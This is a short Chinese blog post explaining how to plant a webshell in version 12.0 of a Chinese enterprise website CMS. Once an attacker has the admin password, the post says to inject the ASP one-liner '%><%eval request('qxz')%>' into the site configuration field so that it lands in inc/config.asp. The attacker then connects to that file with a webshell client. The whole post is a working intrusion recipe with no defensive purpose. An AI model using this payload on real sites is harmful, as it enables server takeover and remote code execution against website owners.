南方数据企业网站管理系统12.0拿SHELL方法

南方数据企业网站管理系统12.0插配置文件拿SHELL

在我们拿到南方数据企业管理系统后台账号密码后,可以使用下面的方法来拿shell

进入后台后 点击系统管理 网站配置

随便找个地方修改成

“%><%eval request(“qxz”)%><%Const nidaye=”xzlbb.com

然后用一句话客户端连接http://目标网站/inc/config.asp就OK了!

原创文章转载请注明:转载自 七行者博客

本文固定链接: http://www.qxzxp.com/3001.html